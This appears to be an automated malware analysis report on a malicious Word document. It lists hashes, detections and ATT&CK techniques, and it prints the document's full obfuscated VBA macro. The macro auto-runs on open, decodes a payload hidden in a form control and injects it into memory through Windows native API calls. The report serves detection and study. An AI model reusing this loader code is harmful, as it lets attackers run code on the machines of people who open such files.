Office (OLE) malware analysis — malicious · 52dc07857403fa15

MALICIOUS

Office (OLE)

191.0 KB Created: 2017-08-17 14:17:00 Authoring application: Microsoft Office Word First seen: 2017-08-27

MD5: 46097c81329fb897f7cc038900698437 SHA-1: 7192b2792c98ccbe35991ca8a84e7e82f47934b0 SHA-256: 52dc07857403fa1582ab9f897d1349883cf8def95b19e8ed110d2e0fa3d17275

130 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing a VBA macro. The macro is configured to auto-execute upon opening, as indicated by the 'Document_Open' macro and the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic. The ClamAV detection 'Doc.Dropper.Agent-6336861-0' strongly suggests this macro is designed to download and execute a secondary payload. No specific URLs or executable content were directly extracted, hence the family is unknown.

Heuristics 5

ClamAV: Doc.Dropper.Agent-6336861-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6336861-0
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
End Sub
Private Sub Document_Open()
Dim mixed As Variant
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 43839 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	43839 bytes
SHA-256: `1855d19e46122c7c8a9d1838268c1da5f2746d34ead2f60fca6b74a8c6ac709b`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function complementary(teratogenic) Dim astonishing As String Dim celibacy As Variant Dim botheration As Variant Dim absolutely As Integer #If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then Dim defray As Long Dim eumycetes As LongPtr sepiidae = 22 - 101 + 87 Dim nyctaginia As LongPtr Dim zany As Integer Dim sumtotal As Byte Dim mich As LongPtr Dim indefinite As Integer #End If #If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then Dim eumycetes As Long sepiidae = 1 + 108 - 105 Dim nyctaginia As Long Dim mich As Long #End If unusualness = VarPtr(eumycetes) attrition = fontanelle(unusualness, VarPtr(teratogenic) + 8, sepiidae) morisco = 11 - 97 + 85 nyctaginia = 0 heteroscelus = 39 - 32 - 7 mich = 9457 firebrat = 58 + 62 + 3976 antidiarrheal = 64 barbasco = pholidota(ByVal morisco, nyctaginia, ByVal heteroscelus, mich, ByVal firebrat, ByVal antidiarrheal) unlively = Fix(412) averti = Math.Round(69) fontanelle nyctaginia, eumycetes, 15 + 37 + 5831 agglutinin = 112 thriving = 7154 bipartite = 406534 Pmt 0, agglutinin, 21546, 32691, 3 complementary = nyctaginia End Function Sub absinthe() Dim maneuverer As Variant Dim conditae As Integer overtired.mandalay.Value = Day(#12/5/2013#) varday = plumage = "accompanied" loggerhead = "benevolent" sauve = dicamus midday = "consolidation" psora = "abuna" career = "chug" wretch = "aired" neurotically = "commensal" Set bobsleigh = overtired.mandalay.SelectedItem fothergilla = 116 namedropping = 35173 biologist = 447794 Pmt 0, fothergilla, 23130, 32205, 5 marksmanship = bobsleigh.Name ajar = 7844 heure = Right(marksmanship, ajar) destitute = itching.doeskin(heure) bandaged = 105 cohibit = 35728 dramatics = 284952 Pmt 0, bandaged, 19056, 50384, 8 colicky = "lachrymation" tonsorial = "clobber" #If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then Dim curvet As Long Dim unifacial As LongPtr Dim bullseye As LongPtr Dim louvered As String #End If #If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then Dim boyishly As Integer Dim bullseye As Long Dim broadtail As String Dim unifacial As Long #End If academist = 58 - 29 - 29 cacher = scrounge expectantly = 4096 capture = 10 tetraclinis = 13259 maimed = 288522 Pmt 0, capture, 10179, 19073, 3 mississippian = "modifier" aminopyrine = "eggshaped" embogue = "promontory" strategic = 54 chordophone = 21553 ode = 309396 Pmt 0, strategic, 2982, 53305, 8 capacity = destitute abortionist = "memorize" ojibwa = squat unifacial = complementary(capacity) eddish = "sleuthhound" #If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then Dim declivous As Long Dim chagrin As LongPtr Dim athlete As LongPtr Dim ascendable As LongPtr nescio = 46 + 124 + 1894 #End If #If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then Dim chagrin As Long bolivia = 102 - 71 + 750 Dim athlete As Long Dim ascendable As Long nescio = bolivia + 3459 #End If Dim echinocactus As Integer Dim perpetual As Long chagrin = 0 bullseye = unifacial + nescio athlete = 201527 ascendable = 66 + 71 + 3363 mopus = nozrta(athlete, chagrin, bullseye) haircloth = 1 subgroup = 30979 anounce = 499140 Pmt 0, haircloth, 18945, 42140, 8 End Sub Private Sub Document_Open() Dim mixed As Variant Dim austronesia As Byte contraindicate = "clitoria" absinthe aftershaft = 114 Myiler = 19346 couple = 180902 Pmt 0, aftershaft, 18916, 39985, 2 End Sub Function fontanelle(pantyhose, archiannelid, altarpiece) #If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (Win64) Then Dim hylobates As String Dim sung As Byte Dim intrigant As LongPtr Dim pastry As LongPtr Dim befoulment As LongPtr Dim betray As Integer Dim votary As LongPtr Dim blowfly As LongPtr #End If #If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then Dim pastry As Long Dim ascospore As Byte Dim intrigant As Long Dim misused As Long Dim votary As Long Dim plaice As Variant Dim befoulment As Long Dim blearedness As Long Dim blowfly As Long Dim foghorn As Long Dim heartbreaking As Variant #End If podagra = podagra Or 315 podagra = Rnd(132) pastry = pantyhose blowfly = altarpiece setaria = vexation votary = archiannelid annexation = 72 acinus = 6145 merces = 155755 Pmt 0, annexation, 34700, 39910, 3 podagra = Fix(418) intrigant = 59 + 75 - 135 baltic ByVal intrigant, pastry, votary, blowfly, befoulment cosy = "caetera" End Function Attribute VB_Name = "itching" ' Then you rolled in with your hair in the wind ' But just your sight had my heart storming #If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then ' The moon went hiding, stars quit shining ' I was doing alright Public Declare PtrSafe Function baltic Lib "ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal counterbore As Any, ByVal biltong As Any, ByVal perodicticus As Any, ByVal playschool As Any, ByVal unearthly As Any) As LongPtr ' Baby, without warning ' I was doing alright Public Declare PtrSafe Function pholidota Lib "ntdll.dll " Alias _ "NtAllocateVirtualMemory" (deliquescent As LongPtr, begrudging As LongPtr, ByVal whereat As LongPtr, conversationalByVal As LongPtr, aggrieved As LongPtr, ByVal goingover As LongPtr) As LongPtr ' I was doing alright ' You wrecked my whole world when you came Public Declare PtrSafe Function closes Lib "ntdll.dll " Alias "AcquireSRWLockShared" (jakarta As Any) As LongPtr ' The moon went hiding, stars quit shining ' The moon went hiding, stars quit shining Public Declare PtrSafe Function adventism Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal congratulation As Any, straggle As Any, averti As Any, perissodactyla As Any) As LongPtr ' But just your sight had my heart storming ' Hit me like a hurricane Public Declare PtrSafe Function calash Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal optimism As Any, appeaser As Any, burnous As Any, midwestern As Any) As LongPtr ' From the moment when ' But just your sight had my heart storming Public Declare PtrSafe Function arales Lib "Kernel32" Alias "CreateTimerQueueTimer" (cando As Any, ByVal bacchanals As Any, ByVal dobson As Any, ByVal bulbul As Any, ByVal decrescendo As Any, ByVal auger As Any, ByVal ethological As Any) As Long ' I was doing alright ' Baby, without warning ' You wrecked my whole world when you came ' From the moment when #End If ' Hit me like a hurricane ' And walked out #If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then ' I was doing alright ' And walked out Public Declare Function pholidota Lib "Ntdll.dll " Alias _ "NtAllocateVirtualMemory" (metatherian As Long, wardroom As Long, ByVal oftenness As Long, wisByVal As Long, fingertip As Long, ByVal bachelorhood As Long) As Long ' From the moment when ' I wouldnt be in my truck Public Declare Function obviation Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal disinterestedly As Any, cestidae As Any, convincingness As Any, asphalt As Any) As Long ' But you rolled in with your hair in the wind ' Hit me like a hurricane Public Declare Function modelled Lib "ntdll.dll " Alias "AcquireSRWLockShared" (hippophagy As Any) As Long ' If I woulda just layed my drink down ' You wrecked my whole world when you came Public Declare Function arales Lib "Kernel32" Alias "CreateTimerQueueTimer" (discordantly As Any, ByVal catostomid As Any, ByVal neuroglia As Any, ByVal inelegantly As Any, ByVal strath As Any, ByVal intend As Any, ByVal jell As Any) As Long ' But just your sight had my heart storming ' I was doing alright Public Declare Function zucchini Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal anchorite As Any, calostomataceae As Any, isotope As Any, bonnily As Any) As Long ' Knew it was gonna be a long night ' I was doing alright Public Declare Function baltic Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal pessimism As Any, ByVal beanstalk As Any, ByVal barbacan As Any, ByVal breadstick As Any, ByVal strenuously As Any) As Long ' Knew it was gonna be a long night ' But you rolled in with your hair in the wind ' And hit me like a hurricane' The moon went hiding, stars quit shining #End If ' We locked eyes over whiskey on ice ' The moon went hiding, stars quit shining Function trifle(desaeuvre) trifle = AscW(desaeuvre) End Function Function soaring(centigram, staunchly, blasphemous) If blasphemous = 15 + (10 / 2 - 5) Then soaring = centigram \ staunchly ElseIf blasphemous = 25 + (5 - 3) / 2 - 1 Then soaring = centigram And staunchly ElseIf blasphemous = 33 + (56 / 7 - 4 * 2) Then soaring = centigram * staunchly End If End Function Function doeskin(drown) As String unlively = Rnd(232) Dim dryopteridaceae As Byte podagra = unlively And 245 setaria = cosy Dim matronhood As Integer Dim avarice(63) As Long Dim beatnik As Integer Dim transmuted As Long Dim tartan As Long Dim extenuating As Long Dim desagrement As Long Dim edentulous(63) As Long Dim tupi(6962) As Byte Dim grudging() As Byte Dim abrogate(63) As Long Dim fee As String Dim scavenging As Long Dim sharecropper As Byte Dim substantival As Variant midgrass = 63 dehumanization = 65280 rowen = 64 preach = 16515072 southwest = 39 - 5 + 262110 disarm = 9 + 112 + 135 Dim asepsis As Variant domiciliated = 16711680 reassembly = 116 + 13 + 3967 distention = 258048 azimuthal = 9 + 78 + 3945 razz = 62 + 109 + 84 majuscule = 42 - 24 + 65518 Dim unrefuted As Variant Dim volcano As Variant briny = 0 bugleweed = 7843 Dim obsolescence() As Byte Dim majestical As String Dim arbitrator As String obsolescence = VBA.StrConv(drown, 128) Dim unrighteousness As Integer pampering = 58 beamish = 4932 homme = 426279 Pmt 0, pampering, 32394, 29878, 2 basidiosporous = 7843 polka = vbKeyShift - 12 For unmake = 0 To basidiosporous If unmake Mod 2 = 0 Then obsolescence(unmake) = obsolescence(unmake) - polka Else obsolescence(unmake) = obsolescence(unmake) - (polka - 1) End If Next unmake manidae = 112 culverin = 24428 physeter = 145837 Pmt 0, manidae, 15537, 19140, 5 matronhood = 0 chuckle = 87 + 93 - 180 ammobium = 43 muckraker = astra For transmuted = (7 - 7) * 1 To (50 + 13) * (5 - 4) abrogate(transmuted) = soaring(transmuted, rowen, 33) edentulous(transmuted) = soaring(transmuted, reassembly, 33) avarice(transmuted) = soaring(transmuted, southwest, 33) Next transmuted overgorged = 119 magilp = 36814 heard = 514429 Pmt 0, overgorged, 38558, 36299, 6 grudging = obsolescence grassfinch = 4 volunteer = 50 baneberry = 20942 Description = 306665 Pmt 0, volunteer, 22154, 55324, 3 palatal = 3 cosy = "celluloid" setaria = "denature" mayenne = palatal + 1 disinterestedness = 9 - 122 + 115 For extenuating = 0 To basidiosporous counterbalancing = grudging(extenuating) cardiovascular = grudging(extenuating + 2) brash = edentulous(muckraker(grudging(extenuating + 1))) almond = abrogate(muckraker(cardiovascular)) + muckraker(grudging(extenuating + palatal)) desagrement = avarice(muckraker(counterbalancing)) + brash + almond transmuted = soaring(desagrement, domiciliated, 25) tupi(tartan) = soaring(transmuted, majuscule, 15) transmuted = soaring(desagrement, dehumanization, 25) tupi(tartan + 1) = soaring(transmuted, disarm, 15) tupi(tartan + disinterestedness) = soaring(desagrement, razz, 25) tartan = tartan + disinterestedness + 1 extenuating = extenuating + 3 Next doeskin = tupi End Function Function nozrta(wrd, buls, lky) #If (7 * 2) * 3 > 14 / 2 And (12 - 6 * 2) * 1 < (Win64) Then Dim aln As LongPtr Dim bis As LongPtr Dim ority As Integer Dim deble As LongPtr #End If #If (12 * 2) / 1 > 14 / 2 And Not (12 - 6 * 2) * 1 < (Win64) Then Dim aln As Long Dim bwis As Long Dim antery As Integer Dim deble As Long #End If aln = buls deble = lky dan2 = arales(wrd, aln, deble, aln, aln, aln, aln) End Function Function astra() Dim bishopdom(255) As Byte boustrophedonic = 89 - 99 + 75 Do While boustrophedonic <= 90 + 1 bishopdom(boustrophedonic) = boustrophedonic - 65 boustrophedonic = boustrophedonic + 1 Loop boustrophedonic = 48 Do While boustrophedonic <= 50 + 8 bishopdom(boustrophedonic) = boustrophedonic + 4 boustrophedonic = boustrophedonic + 1 Loop boustrophedonic = 97 Do While boustrophedonic <= 120 + 3 bishopdom(boustrophedonic) = boustrophedonic - 71 boustrophedonic = boustrophedonic + 1 Loop bishopdom(47) = 63 boustrophedonic = 43 bishopdom(boustrophedonic) = 60 + 2 astra = bishopdom End Function Attribute VB_Name = "overtired" Attribute VB_Base = "0{5C1271D1-517A-4AFF-B8E7-EA6C86A46445}{2FFC7A74-1C19-47F4-9537-8DAC8BAEF760}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False ' Processing file: /opt/analyzer/scan_staging/fd816e5525fe43e6a47f9ee03859a483.bin ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 11243 bytes ' Line #0: ' Line #1: ' Line #2: ' Line #3: ' Line #4: ' Line #5: ' FuncDefn (Function complementary(teratogenic)) ' Line #6: ' Dim ' VarDefn astonishing (As String) ' Line #7: ' Dim ' VarDefn celibacy (As Variant) ' Line #8: ' Dim ' VarDefn botheration (As Variant) ' Line #9: ' Dim ' VarDefn absolutely (As Integer) ' Line #10: ' LbMark ' LitDI2 0x0006 ' LitDI2 0x0003 ' Mul ' LitDI2 0x0005 ' Add ' Paren ' LitDI2 0x0007 ' LitDI2 0x0002 ' LitDI2 0x0001 ' Mul ' Sub ' Paren ' Gt ' LitDI2 0x0030 ' LitDI2 0x0006 ' LitDI2 0x0008 ' Mul ' Sub ' Paren ' LitDI2 0x0002 ' Mul ' Ld Win64 ' Paren ' Lt ' And ' LbIf ' Line #11: ' Dim ' VarDefn defray (As Long) ' Line #12: ' Dim ' VarDefn eumycetes (As Ptr) ' Line #13: ' LitDI2 0x0016 ' LitDI2 0x0065 ' Sub ' LitDI2 0x0057 ' Add ' St sepiidae ' Line #14: ' Dim ' VarDefn nyctaginia (As Ptr) ' Line #15: ' Dim ' VarDefn zany (As Integer) ' Line #16: ' Dim ' VarDefn sumtotal (As Byte) ' Line #17: ' Dim ' VarDefn mich (As Ptr) ' Line #18: ' Dim ' VarDefn indefinite (As Integer) ' Line #19: ' LbMark ' LbEndIf ' Line #20: ' LbMark ' LitDI2 0x0008 ' LitDI2 0x0002 ' Mul ' LitDI2 0x0005 ' Add ' Paren ' LitDI2 0x0007 ' LitDI2 0x0002 ' LitDI2 0x0001 ' Mul ' Sub ' Paren ' Gt ' LitDI2 0x0015 ' LitDI2 0x0007 ' LitDI2 0x0003 ' Mul ' Sub ' Paren ' LitDI2 0x0002 ' Mul ' Ld Win64 ' Paren ' Lt ' Not ' And ' LbIf ' Line #21: ' Dim ' VarDefn eumycetes (As Long) ' Line #22: ' LitDI2 0x0001 ' LitDI2 0x006C ' Add ' LitDI2 0x0069 ' Sub ' St sepiidae ' Line #23: ' Dim ' VarDefn nyctaginia (As Long) ' Line #24: ' Dim ' VarDefn mich (As Long) ' Line #25: ' LbMark ' LbEndIf ' Line #26: ' Ld eumycetes ' ArgsLd VarPtr 0x0001 ' St unusualness ' Line #27: ' Ld unusualness ' Ld teratogenic ' ArgsLd VarPtr 0x0001 ' LitDI2 0x0008 ' Add ' Ld sepiidae ' ArgsLd fontanelle 0x0003 ' St attrition ' Line #28: ' LitDI2 0x000B ' LitDI2 0x0061 ' Sub ' LitDI2 0x0055 ' Add ' St morisco ' Line #29: ' LitDI2 0x0000 ' St nyctaginia ' Line #30: ' LitDI2 0x0027 ' LitDI2 0x0020 ' Sub ' LitDI2 0x0007 ' Sub ' St heteroscelus ' Line #31: ' LitDI2 0x24F1 ' St mich ' Line #32: ' LitDI2 0x003A ' LitDI2 0x003E ' Add ' LitDI2 0x0F88 ' Add ' St firebrat ' Line #33: ' LitDI2 0x0040 ' St antidiarrheal ' Line #34: ' Ld morisco ' ParamByVal ' Ld nyctaginia ' Ld heteroscelus ' ParamByVal ' Ld mich ' Ld firebrat ' ParamByVal ' Ld antidiarrheal ' ParamByVal ' ArgsLd pholidota 0x0006 ' St barbasco ' Line #35: ' LitDI2 0x019C ' FnFix ' St unlively ' Line #36: ' Line #37: ' LitDI2 0x0045 ' Ld Math ' ArgsMemLd Round 0x0001 ' St averti ' Line #38: ' Line #39: ' Ld nyctaginia ' Ld eumycetes ' LitDI2 0x000F ' LitDI2 0x0025 ' Add ' LitDI2 0x16C7 ' Add ' ArgsCall fontanelle 0x0003 ' Line #40: ' LitDI2 0x0070 ' St agglutinin ' Line #41: ' LitDI2 0x1BF2 ' St thriving ' Line #42: ' LitDI4 0x3406 0x0006 ' St bipartite ' Line #43: ' LitDI2 0x0000 ' Ld agglutinin ' LitDI2 0x542A ' LitDI2 0x7FB3 ' LitDI2 0x0003 ' ArgsCall Pmt 0x0005 ' Line #44: ' Line #45: ' Ld nyctaginia ' St complementary ' Line #46: ' EndFunc ' Line #47: ' FuncDefn (Sub absinthe()) ' Line #48: ' Dim ' VarDefn maneuverer (As Variant) ' Line #49: ' Dim ' VarDefn conditae (As Integer) ' Line #50: ' LitDate 0x0000 0x0000 0x51A0 0x40E4 ' ArgsLd Day 0x0001 ' Ld overtired ' MemLd mandalay ' MemSt Value ' Line #51: ' Ld plumage ' LitStr 0x000B "accompanied" ' Eq ' St varday ' Line #52: ' LitStr 0x000A "benevolent" ' St loggerhead ' Line #53: ' Ld dicamus ' St sauve ' Line #54: ' LitStr 0x000D "consolidation" ' St midday ' Line #55: ' LitStr 0x0005 "abuna" ' St psora ' Line #56: ' Line #57: ' LitStr 0x0004 "chug" ' St career ' Line #58: ' LitStr 0x0005 "aired" ' St wretch ' Line #59: ' LitStr 0x0009 "commensal" ' St neurotically ' Line #60: ' SetStmt ' Ld overtired ' MemLd mandalay ' MemLd SelectedItem ' Set bobsleigh ' Line #61: ' LitDI2 0x0074 ' St fothergilla ' Line #62: ' LitDI4 0x8965 0x0000 ' St namedropping ' Line #63: ' LitDI4 0xD532 0x0006 ' St biologist ' Line #64: ' LitDI2 0x0000 ' Ld fothergilla ' LitDI2 0x5A5A ' LitDI2 0x7DCD ' LitDI2 0x0005 ' ArgsCall Pmt 0x0005 ' Line #65: ' Line #66: ' Ld bobsleigh ' MemLd Name ' St marksmanship ' Line #67: ' LitDI2 0x1EA4 ' St ajar ' Line #68: ' Ld marksmanship ' Ld ajar ' ArgsLd Right 0x0002 ' St heure ' Line #69: ' Ld heure ' Ld itching ' ArgsMemLd doeskin 0x0001 ' St destitute ' Line #70: ' LitDI2 0x0069 ' St bandaged ' Line #71: ' LitDI4 0x8B90 0x0000 ' St cohibit ' Line #72: ' LitDI4 0x5918 0x0004 ' St dramatics ' Line #73: ' LitDI2 0x0000 ' Ld bandaged ' LitDI2 0x4A70 ' LitDI4 0xC4D0 0x0000 ' LitDI2 0x0008 ' ArgsCall Pmt 0x0005 ' Line #74: ' Line #75: ' LitStr 0x000C "lachrymation" ' St colicky ' Line #76: ' LitStr 0x0007 "clobber" ' St tonsorial ' Line #77: ' LbMark ' LitDI2 0x0008 ' LitDI2 0x0002 ' Mul ' LitDI2 0x0005 ' Add ' Paren ' LitDI2 0x0007 ' LitDI2 0x0002 ' LitDI2 0x0001 ' Mul ' Sub ' Paren ' Gt ' LitDI2 0x0015 ' LitDI2 0x0007 ' LitDI2 0x0003 ' Mul ' Sub ' Paren ' LitDI2 0x0002 ' Mul ' Ld Win64 ' Paren ' Lt ' And ' LbIf ' Line #78: ' Dim ' VarDefn curvet (As Long) ' Line #79: ' Dim ' VarDefn unifacial (As Ptr) ' Line #80: ' Dim ' VarDefn bullseye (As Ptr) ' Line #81: ' Dim ' VarDefn louvered (As String) ' Line #82: ' LbMark ' LbEndIf ' Line #83: ' LbMark ' LitDI2 0x0008 ' LitDI2 0x0002 ' Mul ' LitDI2 0x0005 ' Add ' Paren ' LitDI2 0x0007 ' LitDI2 0x0002 ' LitDI2 0x0001 ' Mul ' Sub ' Paren ' Gt ' LitDI2 0x0015 ' LitDI2 0x0007 ' LitDI2 0x0003 ' Mul ' Sub ' Paren ' LitDI2 0x0002 ' Mul ' Ld Win64 ' Paren ' Lt ' Not ' And ' LbIf ' Line #84: ' Dim ' VarDefn boyishly (As Integer) ' Line #85: ' Dim ' VarDefn bullseye (As Long) ' Line #86: ' Dim ' VarDefn broadtail (As String) ' Line #87: ' Dim ' VarDefn unifacial (As Long) ' Line #88: ' LbMark ' LbEndIf ' Line #89: ' LitDI2 0x003A ' LitDI2 0x001D ' Sub ' LitDI2 0x001D ' Sub ' St academist ' Line #90: ' Ld scrounge ' St cacher ' Line #91: ' LitDI2 0x1000 ' St expectantly ' Line #92: ' LitDI2 0x000A ' St capture ' Line #93: ' LitDI2 0x33CB ' St tetraclinis ' Line #94: ' LitDI4 0x670A 0x0004 ' St maimed ' Line #95: ' LitDI2 0x0000 ' Ld capture ' LitDI2 0x27C3 ' LitDI2 0x4A81 ' LitDI2 0x0003 ' ArgsCall Pmt 0x0005 ' Line #96: ' Line #97: ' LitStr 0x0008 "modifier" ' St mississippian ' Line #98: ' LitStr 0x0009 "eggshaped" ' St aminopyrine ' Line #99: ' LitStr 0x000A "promontory" ' St embogue ' Line #100: ' LitDI2 0x0036 ' St strategic ' Line #101: ' LitDI2 0x5431 ' St chordophone ' Line #102: ' LitDI4 0xB894 0x0004 ' St ode ' Line #103: ' LitDI2 0x0000 ' Ld strategic ' LitDI2 0x0BA6 ' LitDI4 0xD039 0x0000 ' LitDI2 0x0008 ' ArgsCall Pmt 0x0005 ' Line #104: ' Line #105: ' Ld destitute ' St capacity ' Line #106: ' LitStr 0x0008 "memorize" ' St abortionist ' Line #107: ' Ld squat ' St ojibwa ' Line #108: ' Ld capacity ' ArgsLd complementary 0x0001 ' St unifacial ' Line #109: ' LitStr 0x000B "sleuthhound" ' St eddish ' Line #110: ' LbMark ' LitDI2 0x0003 ' LitDI2 0x0004 ' Mul ' LitDI2 0x0005 ' Add ' Paren ' LitDI2 0x0005 ' LitDI2 0x0002 ' LitDI2 0x0001 ' Mul ' Sub ' Paren ' Gt ' LitDI2 0x0008 ' LitDI2 0x0004 ' LitDI2 0x0002 ' Mul ' Sub ' Paren ' LitDI2 0x0002 ' Mul ' Ld Win64 ' Paren ' Lt ' And ' LbIf ' Line #111: ' Dim ' VarDefn declivous (As Long) ' Line #112: ' Dim ' VarDefn chagrin (As Ptr) ' Line #113: ' Dim ' VarDefn athlete (As Ptr) ' Line #114: ' Dim ' VarDefn ascendable (As Ptr) ' Line #115: ' LitDI2 0x002E ' LitDI2 0x007C ' Add ' LitDI2 0x0766 ' Add ' St nescio ' Line #116: ' LbMark ' LbEndIf ' Line #117: ' LbMark ' LitDI2 0x0008 ' LitDI2 0x0002 ' Mul ' LitDI2 0x0005 ' Add ' Paren ' LitDI2 0x0007 ' LitDI2 0x0002 ' LitDI2 0x0001 ' Mul ' Sub ' Paren ' Gt ' LitDI2 0x0015 ' LitDI2 0x0007 ' LitDI2 0x0003 ' Mul ' Sub ' Paren ' LitDI2 0x0002 ' Mul ' Ld Win64 ' Paren ' Lt …

SHA-256: 1855d19e46122c7c8a9d1838268c1da5f2746d34ead2f60fca6b74a8c6ac709b

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True





Function complementary(teratogenic)
Dim astonishing As String
Dim celibacy As Variant
Dim botheration As Variant
Dim absolutely As Integer
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim defray As Long
Dim eumycetes As LongPtr
sepiidae = 22 - 101 + 87
Dim nyctaginia As LongPtr
Dim zany As Integer
Dim sumtotal As Byte
Dim mich As LongPtr
Dim indefinite As Integer
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim eumycetes As Long
sepiidae = 1 + 108 - 105
Dim nyctaginia As Long
Dim mich As Long
#End If
unusualness = VarPtr(eumycetes)
attrition = fontanelle(unusualness, VarPtr(teratogenic) + 8, sepiidae)
morisco = 11 - 97 + 85
nyctaginia = 0
heteroscelus = 39 - 32 - 7
mich = 9457
firebrat = 58 + 62 + 3976
antidiarrheal = 64
barbasco = pholidota(ByVal morisco, nyctaginia, ByVal heteroscelus, mich, ByVal firebrat, ByVal antidiarrheal)
unlively = Fix(412)

averti = Math.Round(69)

fontanelle nyctaginia, eumycetes, 15 + 37 + 5831
agglutinin = 112
thriving = 7154
bipartite = 406534
 Pmt 0, agglutinin, 21546, 32691, 3

complementary = nyctaginia
End Function
Sub absinthe()
Dim maneuverer As Variant
Dim conditae As Integer
overtired.mandalay.Value = Day(#12/5/2013#)
varday = plumage = "accompanied"
loggerhead = "benevolent"
sauve = dicamus
midday = "consolidation"
psora = "abuna"

career = "chug"
wretch = "aired"
neurotically = "commensal"
Set bobsleigh = overtired.mandalay.SelectedItem
fothergilla = 116
namedropping = 35173
biologist = 447794
 Pmt 0, fothergilla, 23130, 32205, 5

marksmanship = bobsleigh.Name
ajar = 7844
heure = Right(marksmanship, ajar)
destitute = itching.doeskin(heure)
bandaged = 105
cohibit = 35728
dramatics = 284952
 Pmt 0, bandaged, 19056, 50384, 8

colicky = "lachrymation"
tonsorial = "clobber"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim curvet As Long
Dim unifacial As LongPtr
Dim bullseye As LongPtr
Dim louvered As String
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim boyishly As Integer
Dim bullseye As Long
Dim broadtail As String
Dim unifacial As Long
#End If
academist = 58 - 29 - 29
cacher = scrounge
expectantly = 4096
capture = 10
tetraclinis = 13259
maimed = 288522
 Pmt 0, capture, 10179, 19073, 3

mississippian = "modifier"
aminopyrine = "eggshaped"
embogue = "promontory"
strategic = 54
chordophone = 21553
ode = 309396
 Pmt 0, strategic, 2982, 53305, 8

capacity = destitute
abortionist = "memorize"
ojibwa = squat
unifacial = complementary(capacity)
eddish = "sleuthhound"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim declivous As Long
Dim chagrin As LongPtr
Dim athlete As LongPtr
Dim ascendable As LongPtr
nescio = 46 + 124 + 1894
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim chagrin As Long
bolivia = 102 - 71 + 750
Dim athlete As Long
Dim ascendable As Long
nescio = bolivia + 3459

#End If
Dim echinocactus As Integer
Dim perpetual As Long
chagrin = 0
bullseye = unifacial + nescio
athlete = 201527
ascendable = 66 + 71 + 3363
mopus = nozrta(athlete, chagrin, bullseye)
haircloth = 1
subgroup = 30979
anounce = 499140
 Pmt 0, haircloth, 18945, 42140, 8

End Sub
Private Sub Document_Open()
Dim mixed As Variant
Dim austronesia As Byte
contraindicate = "clitoria"
absinthe
aftershaft = 114
Myiler = 19346
couple = 180902
